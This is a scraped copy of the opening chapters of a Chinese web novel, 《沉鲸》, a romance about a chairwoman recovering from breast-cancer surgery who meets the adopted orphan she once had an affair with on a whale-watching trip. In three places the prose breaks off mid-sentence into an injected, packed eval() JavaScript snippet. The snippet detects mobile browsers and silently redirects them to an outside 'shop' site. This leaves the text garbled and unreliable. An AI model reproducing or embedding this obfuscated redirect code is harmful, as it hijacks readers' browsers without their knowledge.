《沉鲸》 1. 01. 沉鲸/十三春夏 晋江文学城独家/2024.12.12 01.库尔马西 陈昭很痴迷覆盖在自己胸前的那双手,骨节分明,纤细均匀。 他的每一次抚/摸,都会让她想起远赴海峡观鲸时的那片海浪。 年轻,自由,又极具生命力。 随着天空泛起的鱼肚白,卧室内的旖旎余温渐渐消散。 那双手将她搂得更紧,耳廓边更是传来一道沙哑的声音。 “陈昭,我计划……” 陈昭推开他的手,眼神平静地从床上起来穿好衣服:“你知道,我的人生计划中没有你。” “昨晚是你二十岁的生日,还未来得及和你说生日快乐。但……昨晚我们也犯了个很大的错误。” 陈昭很快换好了一套白色西装,此刻她薄情寡性的样子,和昨晚意识迷蒙地抱着他说很想他的样子,判若两人。 她一如往常的干练迅速,风风火火地蹬着高跟鞋离开公寓。 但实际谁也不知道,出门的那刻,她悔到双腿发软,跪坐在电梯门口。 陈昭深吸一口气,满脑子都是自己离开时,沈确满脸失落,犹如一只受伤的小马卧地不起的模样。 记忆中,他分明是姑姑从赫兹领养回的男孩,小马西。 不知从什么时候起,他真正地融入了明港,融入了那时他的新名字,沈确。 她几乎是逃离式地离开公寓,沈确裸着上半身,探出窗户冲楼下咆哮。 “所以!昨天晚上你和我的亲密只是你所谓的错误一场吗?!陈昭!你回答我!” 这声音恍若魔音一般,萦绕在陈昭耳里,她蓦然惊醒。 回过神,面前已经坐着赵写茹了。 周围还是充斥着一股消毒水味道的医院病房。 “又做噩梦了?陈昭,我真的很好奇,困扰了你好几年的噩梦到底是什么,不如……趁着你大难不死,今日出院,和我说道说道?” 陈昭恢复坦荡的脸色,垂眸看了一眼尚且还在的那对乳/房。 那双手的触感还在,她的命,也还在。 保乳手术做得很成功。 这反倒让赵写茹无法绷住情绪了,指着她胸前深吸一口气,开始了她的质问。 “乳腺癌,什么时候检查出来的?什么时候决定手术的?你又是什么时候住院的?整个明港,竟没有一个人知道。” “大家都还以为,敬业的陈董事长消失半个月,是和丈夫回芬兰补蜜月,早就有一大堆记者在机场蹲点。可谁会想到,你一个人悄无声息地做了一场保乳手术,你的乳,还真了不起啊。” 她勉强用轻松的语气调侃,但过后却架不住的心疼,作为一个好友的心疼。 “陈昭,为什么要自己承受这一切?老太太去世了,你没了依靠,可是你还有孟均啊,他作为你的丈夫,过来照顾你不应该是天……” “我们离婚了。” 陈昭的话一出,赵写茹愣在了原地。 她只知道陈昭与孟均是家族联姻,关系不比有些夫妻那般亲厚,但平日里也是相敬如宾,更何况孟均也不是什么不好的人。 陈昭笑她的反应,从包里掏出一支口红和粉饼,快速给自己上了妆。 “赵写茹,如果我没记错的话你今天还有重要的酒会出席,你打算在医院里一直陪我?然后丢掉你十个亿的大项目?” 她抿了抿唇,微微一笑:“可是怎么办?即便你不把几个亿的项目放眼里,我现在也没时间留在医院了。我有件事必须尽快处理,处理完后我再给你打电话。” “对了,你的花我很喜欢,庆祝我大难不死,我存的那些酒你可以随意挥霍。” 陈昭也只在赵写茹这个老好友面前,有些生气和活力。 出了这扇门,她又成为了那位严谨沉静,永远不言苟笑的陈董事长。 深冬的明港还是有些燥热,那种透不过气的压抑感让她微微拧眉。 刚将手机拿出来,一辆熟悉的车便开到面前。 陈昭快速给赵写茹发了一条信息,将自己的行李箱交给司机,弯腰上车后忽然看到坐在车后座的男人。 他刚结束完会议,身上还穿着未来得及换下的浅灰色西装,清隽的脸上一如既往的温和。 不管离婚前,还是离婚后,他的嗓音永远那么清沉温柔。 “身体哪里不舒服?”他问。 陈昭淡定地坐下,不以为然地回答:“小感冒,输了液,你怎么回来了?” 两个月前,他们离婚后,孟均便去了新西兰。 随着车辆平稳的行驶,孟均打破了车厢内的沉寂,疑问道:“我听说你想卸任?” 陈昭作为陈氏集团唯一的外孙长女,谁都知道她努了多少力才爬到陈氏董事长的位置,接过老太太的江山还不到三年,却要卸任? 谁也想不明白。 然而陈昭并没有解释的想法,只说。 “各项事宜都已经交接完毕,孟均,关于公司的事情你该避嫌不要多问,毕竟……我们是离婚的关系。” 她难得露出个笑容,很勉强,但也耀眼地好看。 就像孟均第一次见她,在苏拉港口的那辆环城巴士上。 他一直以为真正的陈昭只有自己见过,别人所见的,都是她戴面具的模样罢了。 可后来才发现,陈昭从未向他坦露过任何一点。 甚至让他怀疑,在巴士上那个鲜活的陈昭,才是她的伪装。她原本的模样,就是这般冷漠决绝。 她的划清界限,让他心起苦涩,还想多说点话,孟均却发现自己已经没了立场。 而且车子并没有往她的住所开去,反而去了机场。 陈昭订了一班中午的飞机前往聆海。 下车前,孟均紧绷着腮帮,第一次强势地拉住她的手问:“陈昭,你到底在想什么。” 陈昭没心没肺地笑了笑,从包里拿出那个观鲸的册子,耸肩一笑:“三年一度的观鲸活动,只不过从芬兰换到了国内。” 说完这话,她便挣开孟均的手下了车。 看着册子上写着的聆海首支观鲸团活动,孟均出了神,但他的思绪被一通女人的电话拉回。 “亲爱的,今天你怎么没来接我啊?” …… 从明港到聆海,也就三个小时的飞行距离。 昨天,主任替陈昭的乳/房和腋下伤口都换了药,拔了两根引流管,拆了上身的绑带和三角巾。 次日她就已经来到了一个全新的世界。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641040|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>或许有人会觉得,她是在大病一场后才决定离开明港。 但其实在老太太病逝,她产生离婚念头的那会,她就已经决定放下她拼尽全力争取的新丽集团,去重启自己的人生。 然而一场乳腺癌的手术打乱了她所有的计划。 主任医师说她手术完不宜受寒,不宜久行,不宜劳累。 所以陈昭放弃了前往芬兰,反而在朋友圈看到了沉西岛首度开放观鲸活动的消息。 曾经去芬兰三年一度的观鲸活动,是她唯一的消遣时间。 虽然聆海的观鲸计划,只是一场实践性的体验活动。 但她还是以一名普通的游客身份,报名了此活动。 到达聆海后她来到指定的酒店,与观鲸团的成员汇合。 这次的成员让她有些意外,大部分都是一群八九岁的小孩,还有几个退休的干部。 看到唯一的年轻成员陈昭时,其他人都很友好,递来吃的喝的。 陈昭都是礼貌婉拒,先去休息了一晚上。 等次日一早,他们便登上了前往西沉岛的游艇。 说实话,一开始陈昭并不觉得这是一次很好的观鲸体验。 在一个不确定能否观到鲸的小游艇上出海,听着一些不太听得懂的语言,又被逐渐升起的太阳暴晒。 没有准备足够防晒装备的她,不到一会就已经被晒得满面通红。 她倚靠在甲板的栏杆上,承受着海洋的颠簸,手里攥着领队特意发的晕船药,有些想吞下去。 以往的观鲸,都是坐着最豪华的游轮,行走在冰川之间,遥看那深蓝色的海域,一头头的座头鲸涌出海面,无比壮阔。 然而现在别说鲸鱼了,就连海鸥都难得瞧见。 当然,陈昭也被晒得没有多余的力气去期待奇迹出现。 她环顾四周,想着是否要去和领队借个帽子挡下阳光,然而就在她动身的那一瞬间,她看到了一个不可思议的人。 看多了写字楼里西装革履的男士,像眼前这般骨量感,野生感极重的男生,总能第一眼抓到她的目光。 还有几个和他同行的人,他们一起从小船来到游艇上,同样的黑色冲锋衣,他却包裹着独特的距离感。 肩膀宽直,即便宽松的冲锋衣下,也能感受出在腰部收窄的硬阔线条。 为首的人自称他们是西沉科学院海洋哺乳动物研究与科学教育的团队人员,此次观鲸活动,也是他们联合西沉小岛政府开发的旅游体验项目。 由于这是第一批活动参与者,他们研究人员会亲自接待他们,为他们讲解关于布氏鲸的一切。 小孩子们兴奋起来,接二连三地问起问题。 唯独陈昭,心慌了起来。 她垂下眼眸,攥紧手指,曾经那萦绕在她脑海里的那个噩梦,再次浮现。 直到那双令她痴迷过的手指,夹着一顶太阳帽至她面前。 见她没接,男人直接放到她腿上,又转身去给别人发放太阳帽。 顺着他离开的身影,陈昭抬眼,重新看向了那位离开明港七年,也离开了她七年,敬她如长姐的沈确。 他也是当年和姑姑一起从赫兹地区带回来的孤儿,库尔马西。 姑姑离世前,总是亲切地唤他为小马西。 2. 02. “早在300多年前,康熙年间就有书籍记载,聆海有‘大鱼’,但后来随着环境变化,‘大鱼’的数量急剧减少,我们国家一度被认为没有大型鲸类生存了。” 团队为首的中年男人言语温和地弯着腰,和小朋友们耐心讲解。 其中一个小朋友举手发问:“那我们为什么现在又有了呢?” 男人笑着说:“可能是近年来的海洋环境变化,我们研究人员呢又日以继夜地追鲸观测,在三年前就发现了分布在这里的大型鲸类群体。这些海洋巨人又重新回到我们身边了。” “西沉岛是我们国家唯一能稳定看到鲸类的地方,而这个“唯一”的背后则是人类与动物之间一场‘失而复得’。” 在男人讲解的背景音中,陈昭戴上太阳帽,想回船舱坐一会。 然而没多久,一个黑色身影便坐在了她对面。 那双锋锐的眼睛,墨黑的瞳孔就这样直勾勾地看了过来。 他握着一支钢笔,眉梢轻挑:“昭姐,你还真是……不会错过任何一场观鲸活动。” “多年不见,怎么?不认我这弟弟了?” 陈昭抬起眼眸,见他脱下冲锋衣外套,嘴角还勾着一丝意味深长的笑。 这模样,哪里还是当初寄养在陈家那个乖巧听话,温柔体贴的沈确? 更像是哪家浪荡又不正经的公子哥,来这打零工了。 他转动着钢笔,平静地把手里的客房路线图递到她手里,咬牙轻懒:“不知道长公主你能不能住得惯。” 撂下这话他便转身离开了船舱。 时隔七年,准确来说,五年没见了。 她没想到会是在这样的情景下。 沈确二十岁生日过后,他便外出读书,直到五年前她结婚他回来过,后来便一直留在了聆海,再未踏足过明港。 他是被自己抛弃,被陈氏赶出去的外人,所以他过的如何,陈氏没人关心。 只有陈昭知道。 但自己也从未找过他。 直到这次,当然,她也不是特意过来找他的,只是单纯想过来看看这个新鲜的小岛。 她是这样告诉自己的。 沈确被带回明港那年,才十三岁。 当时在竞争陈氏继承人的陈昭,为了拿下集团核心高层的肯定,毅然选择和姑姑远赴千里之外的赫兹少数民族地区,进行一场新丽集团前所未有的慈善活动。 这个国内最后一支驯鹰游牧民族,在帕米尔高原从未远行过。 那时她第一次去这种贫苦区,当天水土不服便卧床感染,烧了整整两天。 姑姑为她找来了赤脚医生,而十三岁的小马西,则跟在医生的身边,怯生生地为陈昭端茶送水。 陈昭拿出带过来的面包送给他。 乖巧的马西用蹩脚的汉语,说了一声谢谢。 后来陈昭在上完洗手间的路上,看到一群穿着破破烂烂的大孩子,围绕着马西,拽他的头发,踢他的脚,而他则张牙舞爪地想要反抗。 却无奈力气有限,被比他高了大半个头的人踹倒在地。 黢黑的脸上脏兮兮的一片,还被人抹了马粪。 陈昭呵斥一声,吓退了那些孩子,横抱起小马西,用自己好不容易打来的清水给他洗脸。 姑姑回来后觉得他可怜不已,一脸心疼地哭出了声。 那个晚上,陈昭才知道,小马西的父亲在牧羊时坠崖而亡,母亲则和别人跑了,一起游牧的两个家庭见她可怜,便每家每户给他点吃的度日。 但他却被那些家里的大孩子欺凌,晚上也只能睡在无人打理的帐篷里。 后来在他们临行前的两天,姑姑看着远处牧羊的小马西,对陈昭说道。 “他们很快就要去夏牧场了,但马西与他们而言是个累赘,我听说那些人在商量着将他丢去赫兹城内的孤儿院,但……我知道那个孤儿院,并没几个人。” “阿昭,姑姑想……带他回明港。” 陈昭看着当时被水浸湿满头的小马西,就好像看到了玻璃倒影里的自己。 她也是被父亲丢下的孩子,这种突如其来的共情感仿佛要令她窒息。 几乎想都没想地点头应下:“姑姑有这想法的话,也没人能阻止你。他是个乖巧的孩子。” 但那时,作为高原上的雏鹰,十三岁的库尔马西,与明港这个光怪陆离的世界格格不入。 好在,他是极其聪明的。 陈昭从回忆中抽离,刚好被小朋友的一声尖叫拉回思绪。 “鲸鱼!鲸鱼!” 但很快他的嘴被老师捂住:“嘘,我们不能打扰它们。” 只见不远处的海岸线内,一块块三角背鳍在海面浮现,波光粼粼的水面下,是一只只张口觅食的庞然大物。 游艇上的所有人举起手机,争先恐后地想要拍到那一闪而过的瞬间。 不得不说,他们还是很幸运的,出海没多久就看到了鲸群。 但这个惊喜并没有持续多长时间,随着海上的风浪逐渐变大,他们不得不提前回港口。 为时两天的活动,要在西沉小岛休息一晚。 对于这个尚未完全开发的半旅游小岛,很多都是最原始的形态。 众人一下船,领到各自的房间钥匙后便四处活动了。 陈昭还留意了下那个身影,然而他们在出港口的时候,就已经不见人影了。 她收回眼神,把刚才拍到的那张布氏鲸的图片,发给了赵写茹。 很快,她的电话便响起来了。 刚接通,赵写茹凌厉的声音便如雷贯耳的出现,还夹杂着公司开会前的讨论背景音。 “你手术后不好好休息,跑那么远去观鲸?陈昭!你怎么想的?” 在此之前,赵写茹觉得这世上最难搞,最任性的人,就是她的亲妹妹赵珈宜。 现在看来,陈昭才是闷声干大事的人。 “赵写茹,这也是我的下一个人生项目,我打算在这里开个小卖部。” “哈?你放着新丽集团的董事长位置不要,你要去当小卖部老板?你怎么不干脆再找个老实人二婚再回归家庭啊。” “说实话,你这诅咒有点恶毒了。” 她浅笑一声,挂了写茹的电话,找了个看起来简陋,但也可能是岛上唯一一家餐厅吃了个脆鱼饭。 在明港,陈昭有专门的阿姨负责每日吃食,手艺非常好,她曾跑遍各地,算是一个包容胃。 可唯独这份脆鱼饭,带着一股浓厚的海腥味,实在让她难以下咽。 勉强扒了两口后便买单走人,老板娘见她浪费那么多,脸色不太好,用不太流利的汉语嘟囔着。 “浪费可耻啊,你不饿的话早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641041|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说嘛,我就不给你做那么多了!” 陈昭讪讪一笑。 本打算还走走,熟悉熟悉这个小岛,结果天公不作美,还没走几步,忽然下起了瓢泼大雨。 连一点预兆都没有,她只能尽快跑回住的地方。 小岛没有环境好一点的酒店,旅行社给他们安排的是一些平房临时搭的客房,隔壁就是研究院的员工宿舍。 甚至还要跑长长的一条柏油路。 这也导致回到住所的陈昭,浑身被淋透,像个落汤鸡似的。 她马不停蹄地拿着钥匙找到自己房间,赫然发现这间房分配得不怎样。 屋子后面紧挨着一条山溪,声音嘈杂,整个屋子也无比的潮湿,连被褥几乎都没有干的。 别说空调了,连块干净的毛巾都没有。 陈昭担心伤口,尽快换上了干净的衣裳,给领队打了通电话,想提出换房间的诉求。 可对方的回应,是说房子属于研究院的员工安排,如有需要的话,可以联系那边的员工。 说完便发了个地址给陈昭,让她自己去隔壁宿舍找人。 不得不说,这趟旅程,的确出乎陈昭的意料。 她没想过会这么……简陋。 她收拾了下,按照地址找了过去。 却在值班室就被拦下了。 她和保安说明来意,保安同志却相当为难地开口。 “姑娘,你要换房间这事也没什么好商量的,每个房间都差不多,这里也没什么好酒店,一开始那报名页面上不是都写清楚了么。” “咱们这个活动啊,是咱们研究院出资,算是公益活动了,也没收你们钱,人家孩子都能住,你怎么就不能住了?” “好了姑娘,你也什么都别说了,也就凑合一晚的事。” 保安同志压根不给陈昭解释的机会,一口气像连珠炮弹一样说了大堆的话,然后把窗户一关,正式拒绝她的请求。 陈昭给气笑了,抿了抿唇打算再去小岛其他的地方看看。 结果一转身,冷不防地对上一道视线。 前方的树干上倚靠着一个人,就像刚睡醒似的,灰色的卫衣松松散散地挂在身上,那轮廓分明的脸上透着一股子慵懒惺忪的劲头。 但眼里却满是玩味,看来是把刚才陈昭吃瘪的一幕都看在了眼里。 他转动着手里的钥匙,勾唇一笑,果断转身要走。 陈昭眉毛微拧,下意识地叫住他:“沈确!” 沈确身子一顿,踩着拖鞋迈着懒懒的步伐往后退了几步,侧过身子轻挑了眉头,歪头疑问道。 “长公主有何吩咐?” “噢,如果是换房间的事,抱歉我也无能为力,将就住一晚上好了。” 陈昭听出了他故作矜持的讽刺,也看出了他刻意和自己拉开的距离。 这小心眼的人,还在为二十岁生日那晚和自己生气。 一口一个长公主,还真是讽刺到点上了。 在明港,谁人不知陈氏的长公主,陈昭。 一个随母姓,被外婆带大的人,硬是凭借一己之力,从陈氏家族中脱颖而出,拿下了陈董事长的位置。 她正要开口,沈确忽然又上前,把头略低下几分,好似一个高位者戏谑小矮墩似的调侃她。 “当然,如果你要住我房间,我可以考虑。” 3. 03. 他这话一出口,陈昭的心忽然咯噔了一下。 不由得就想起那个晚上,同样是穿着卫衣的清瘦少年,坐在她的对面,目光灼灼地凝视着自己。 陈昭知道他看自己看了很久,久到即便满身红晕,他还是说出了那句话。 “陈昭,我想留在你房间。” 不是和寻常那般亲切地唤她昭姐,而是连名带姓的,叫了她陈昭。 那一瞬间,陈昭自己也不清楚,被自己亲手从姑姑公寓接回来的少年,什么时候就长成了男人的样子。 他逼迫的双眼,像极了当年在帕米尔高原上见过的驯鹰。 凌厉,锋锐,不容置否。 不想给她拒绝的机会,他已经双手脱下他的卫衣…… 那些回忆,让陈昭瞬间回神,看着眼前的沈确带着戏谑地笑意,感觉自己在他面前像个小丑。 她并不喜欢被一个多年视为小辈的人,如此看待。 她收回目光,˙决定不再开口。 然而走了几步后,沈确却双手揣兜,在她身后不紧不慢地走着。 陈昭感觉后背仿佛都要被他盯穿。 她深吸一口气,忽然停下脚步回看他:“不必跟着。” 然而沈确却浅笑着与她擦肩而过,高出她大半个脑袋的个子,甚至将那点仅有的路灯光都笼罩住。 “我走路还有错了,你家铺的路啊?” 他侧过身子,眉尾一挑便不顾陈昭的脸色往前走去。 走至前方,还不忘补充一句。 “昭姐当初说的话,我字字句句都记在心里,毕竟……我是个感恩的人。” 但这些话,却莫名让陈昭很不是滋味。 她曾警告过沈确,让他做个感恩的人,不要起多余的心思。 现在倒是白给了他出气的机会。 不过陈昭也明白,自己并不是生气,只是唏嘘。 在她看来,两人时隔多年未见,他字字带刺,无非是想出那口憋屈了整整七年的怒气。 一个幼稚少年的恶趣味罢了。 换做谁,被上了,还被甩了,被抛弃了,都会生气的。 但当时的陈昭并没有选择,即便现在重来一遍,她也会划清两人的关系,让他彻底死了那条心。 只是她会更加严于律己,无论如何,也不该在那晚犯下错误。 换不了房间,陈昭便将就一晚,现在时间也不早了,这个小岛,过了晚上九点好像就没什么人走动。 然而这场雨,到了后半夜后忽然加大力度。 一如天空裂了个口子,水柱哗哗往下流。 陈昭睡得不暖和,索性换上自己厚实的外套,外面的狂风骤雨,让她感觉到这个房子仿佛随时能被掀翻似的。 她想去开灯,发现停电了,只得打开手机的手电筒,照射屋顶看看。 结果刚打开,一阵巨响传来!紧接着就是瓢泼大雨直倒而下! 她顿时跑出屋子! 就这样,她眼睁睁地看着屋顶上那两块预制板盖,被大风掀翻,卷去了不知何处。 她所住的房间,也成了一个没有屋顶的破败之地。 强烈的风雨打在脸上,一片冰冷,很快也惊醒了其他屋子的人。 顿时这小宾馆里混乱起来。 “哎呀!这……这是怎么回事啊?有没有保安啊!咱们领队呢?房子不会塌了吧!!” “这位老师,你赶紧叫小朋友们起床去隔壁的宿舍楼躲一躲!咱们住的这地方太不安全了!” “好的好的,大家都注意一下,但也别太着急,别踩着人啊!慢慢来!” “我报警了,我报警了!” 在一片混乱中,陈昭还是拿过了自己的小行李箱,跟着队伍有序地离开此处。 好在小岛的派出所出警很快。 得知他们还是第一批观鲸团的人,又多数是小孩和老年人,派出所赶紧调来隔壁单位的大车,将他们连夜送去小岛上的单位宾馆里。 但那宾馆距离此地开车还得三十分钟左右。 一片雾气的巴士里,坐在身边的女民警起身走到座位中央,安抚他们。 不多时,陈昭身后忽然递来一块干毛巾。 是团队里的一位老太太递给她的。 她笑眯眯地示意陈昭接下毛巾:“吓坏了吧?先把淋湿的外衣脱下来擦一擦,别感冒了。” “虽然这聆海的气温不比我们北方那地,可这到底是冬天,还没开春呢,温度不高。” 对于这突如其来的善意,陈昭有些诧异,反应过来后微微一笑,接过毛巾感激了一番。 而后坐在老太太身边的老头,又递给她一个剥好的橘子。 陈昭不太好意思接,但又不好意思不接。 犹豫间,被老太太拿着塞到她手里:“姑娘别不好意思,我们是一个团的嘛。” “那……谢谢你们。” 陈昭用毛巾擦拭着滴水的头发,在巴士暖风的吹拂下,方才那瞬间的惊心动魄,就如做了个梦似的。 她拿出手机,本想着给写茹发个信息,可看了一眼时间,又收回了想法。 就在这时,巴士忽然停了下来,她以为到了宾馆,但只是半路接了个人。 男人把伞收起,半湿的头发挂在额前,因为急切,导致呼吸都急促了几分。 然而他想平息情绪时,没想到陈昭就坐在第一排,将他片刻的慌乱全部看在眼里。 但陈昭的那张脸,还是平静到不起波澜。 反倒是他目光局促起来。 民警同志很热心地将他拉到陈昭身边的位置坐下:“你就是沈研究员吧?是过来安排他们住处的?你先坐你先坐。” 直到沈确落座,陈昭也没说什么,只是眼底多了几分柔和的笑意。 一旁的民警同志还在和沈确对接刚刚的危险情况。 沈确一边附和着,一边起身脱下外套扔在座位上,去后座安抚了那几个老人和小孩。 陈昭看了他一眼外套,也没和他客气,暂时借来穿一下。 因为她看到了沈确刚刚那双眼睛,这个浑身带刺的人,明明心里还是软和着。 带着体温的外套无比暖和,陈昭缩在宽大的衣服里,竟在短短几分钟内睡了过去。 直到醒来后,巴士上只有她一个人。 还有一个沈确,则站在巴士门口,自下由上地通过扶手,目光灼灼地凝视她。 陈昭惺忪了下睡眼,起身拿上行李箱下车,顺带把外套递到沈确手里。 她双眼亮亮地准备开口,他却一把拿过外套:“你还真不客气。” 不等陈昭说话,沈确已经拿过外套穿上,快步走进宾馆为她做登记。 递给她一张房卡后,依旧没说话,冷冷地转身跑入小雨里。 此刻那一对老夫妻笑眯眯地招呼她:“陈小姐,你的房间在我隔壁吧?” 当陈昭再次看向外面时,已经不见了沈确的踪影。 这个宾馆条件要好太多。 领队一个劲的在和众人道歉,表示没有选择这的原因,是因为这个单位宾馆距离码头太远,不方便出海,所以才就近安排在那些临时客房里。 可没想到,会出这样的事故。 尤其对于这个被掀翻屋顶的当事人陈昭,领队更是愧疚不已。 领队看起来也就二十来岁的年轻姑娘,众人不忍责怪,陈昭也累了,附和了两句便进屋睡了。 不过进去后发现房间里多了一把雨伞。 如果没记错的话,是沈确刚刚打的那把,深蓝色的,还带着他们研究院的图标,很小,但也足够敏锐的她发现了。 她勾了勾唇,把雨伞挂在了门把手上。 这里安静多了,甚至安静到陈昭以为自己回到了十几年前的赫兹。 梦里她又梦见了自己在赫兹生病的时候。 被救下的小马西,总是会给她多烧点热水,也对于她的笔记本电脑特别感兴趣。 每次她叫马西替她把笔记本拿过来处理公事的时候,他都会很兴奋,然后就地坐在床边,一脸好奇地盯着电脑屏幕。 多数时候,她见到的马西都是胆怯,惶恐的,在这个毫无依靠的环境中,他对待任何人都是那么小心翼翼。 唯独在这个时候,陈昭才会看到他眼底的片刻欣喜。 “你没读过书,怎么会汉语?”陈昭问他。 小马西低下头,小声告诉她:“爷爷教的。” 只可惜,他爷爷早在他十岁那年就去世了。 “这是电脑吗?”小马西伸出黢黑的手指,指着笔记本问她。 陈昭点点头,小马西带着些许兴奋,倏地一下跑出帐篷,过了好一会后又跑了进来,只不过这次手上多了好几本书。 标注了拼音的几本童话书,还有科幻讲解书。 纸张破破烂烂,也不知道被他翻了多少遍。 “那……姐姐,电脑里面是不是有很多这样的书,我也能从电脑上看到这些书吗?” 陈昭微微一笑,打开了几本电子书后放到他面前。 库尔马西他小小的身子,坐姿端正,背脊挺直,好像有一块无形的板子在丈量他的后背。 他安安静静地在帐篷里看了一整晚的书,不亦乐乎,也不在乎是否能看得懂那些没有标注拼音的文字。 迷糊中,陈昭感觉有人帮自己盖了毯子,又听见灌热水瓶的声音,还有……一声姐姐谢谢你。 次日一早,陈昭醒过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641042|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看到案桌上有一张纸条,上面写着几个漂亮的字。 “谢谢姐姐,只是我不知道该怎么关掉它,只帮你合上。” 十三岁的小少年,字迹却自带一份隽秀,没那么工整,却又带着浑然天成的劲锋。 …… 他们的观鲸计划,第二日被迫停了。 天公不作美,风雨依旧不停。 为此,领队特意来和他们交代,活动只能提前一天结束,接下来的几天,天气都是如此多变,不利于出海。 本身这就是一个实验性的观鲸活动,各种设施都不完善,团队的人也都表示理解。 既然今日天气不行,领队就打算让他们去当地的海洋博物馆走一遭,由那些科学院的研究员们亲自带着去一趟。 再去研究院的食堂吃过午饭后,下午便可自行解散。 想要离开西沉岛的就可以坐着下午两点的船离岛。 陈昭没打算这么快离开,所以想吃过饭后去岛上找找住的地方。当然,这个单位宾馆如果可以对外开放接待的话,能住下来是最好的。 今天接待他们的并不是沈研究员,而是另外一个和沈确年岁差不多的男人。 他对小朋友们显然更温和一些。 陈昭看着博物馆里的一切,只觉得新鲜。 毕竟……从小在明港长大,生活在无忧的金钟罩里,但却从未去过一次博物馆,游乐园。 年幼时,她去得最多的就是各种俱乐部。 母亲带着她社交,喜欢听别人对她这个女儿的各种夸赞,却又责怪陈昭太木讷,口齿不能甜一些,文静到能被他人视若空气般。 而父亲又很少出现在他面前,偶尔几次的见面,也不过是寥寥几句关怀的话。 “小昭昭又长大了啊?” “小昭昭,今年是不是该上国中了?” 陈昭也不反驳,只会在心里告诉他,自己已经是国二的学生了。 如今看到那些小孩们,趴在玻璃窗前,提起他们的父母,她却有些羡慕。 午时他们去研究院的食堂吃饭时,一个文质彬彬的中年学者带着笑容找到陈昭,很是歉意地开口。 “陈小姐吧?你好,我是研究团队的指导,杨硕。很抱歉昨晚让你受惊了,我们也没想到那些客房屋子会出意外,我们没有检查到位实在抱歉。” 他还十分客气地鞠了躬,如实说:“因为是初次的实验活动,很多方面我们都做得不好,也好利用这次的经验,去和相关人员反应,针对性的改善当地情况。” 听他这么说,陈昭忽然来了兴致,见他有纸笔,索性借过来,将自己的一些建设性意见,一一提出来。 尤其是对于旅游这块,她有着独特的见解。 “我想当地政府与杨指导你们共同开发这个活动,中心应当在于想要发展小岛。” “小岛的文化底蕴与时兴活动结合下来,再配上一定的宣发,的确会吸引很多游客。来量的同时,基础设施等接量反应也要及时跟上,方可双箭并行,带动当地整体来发展。” “当然,我知道这些你们肯定也想到过,所以我作为体验者,已经把自己更具体的想法写下来了,杨教授可以看一看。” 杨指导见那清秀的字迹下,是与他们一开始预想的方案差不多的想法,顿时觉得眼前的女人不简单。 不由得和陈昭攀谈起来。 陈昭侃侃而谈,从容又大方,短短时间便说出了不少杨指导早就萌生的想法以及更多建设性的意见。 此时的她,恍若一个历经百战的商业强者,在属于她的领域里散着光。 让杨指导大有一种相见恨晚之姿。 陈昭见状,顺势提出:“其实我还想在小岛多呆一些时间,不知道杨指导你可有好的住所推荐,不必考虑价位,能满足日常居住需求即可,最好离小岛中心和码头近一些。如果实在没有,那单位……” “有啊,小住一些时间的话,我们研究院就空出来一间宿舍。那名研究员被外派,要去大半年,所以宿舍一直空着呢,我等会就叫人带你去看看,把钥匙给你。” 陈昭有些受宠若惊,特意感谢了一番。 然而前来给她送钥匙,带她去看屋子的竟然是沈确。 他什么也没说,只带着陈昭进了宿舍楼,此刻那保安不由得多看了她两眼。 可是等陈昭进屋后,看到里面干净整洁的模样,拧眉回头。 “沈确,这是你的房间。” 身穿黑色卫衣的沈确随意靠在门框上,一股子慵懒劲,他食指上挂着钥匙,直勾勾地盯着她。 “曾经是你收留我,让我和你同住一屋檐,现在换我收留你,就不行吗?” “陈昭,你在怕什么?” 4. 04. 屋内暖风拂脸,但陈昭却感觉冷风在背脊流窜。 她忍住涌动的情绪,维持着平静的神情朝他伸手:“钥匙。” 沈确知道这是她动真格的前兆。 以前在明港的时候,他最害怕的,就是陈昭这副生人勿近的模样。 那一晚过后,她就是如此决绝的离开。 然而此刻,他同样害怕,可更多的是生气。 他考虑了一下,歪头,像只小猎豹似的紧盯着她,将钥匙一把丢出窗外。 “昭姐在害怕什么?” “我视你如……亲姐,视你如恩人,随时随地都在感激你和姑姑将我带出赫兹。我们之间的关系,好像还没生疏到你不敢借住一晚。” 又是这一出,这小孩脾气依旧是没有改。 陈昭本可忍,但不想在这层已经模糊的关系上强制加一层蒙布。 所以她不想配合他。 于是在看了他一眼后,顺着他的意思点点头,拿起那小箱子一言不发地走出宿舍楼。 沈确拧眉,看着她被冷风吹起的围巾,脸色下沉。 她不咸不淡的反应,真是生疏到极点。 她就那么冷漠?那么些年,那么多的点滴,她都能视而不见! 哪怕见到自己,还能如此镇定自若地面对?还是说,自己自始至终都高估了在她心里的位置。 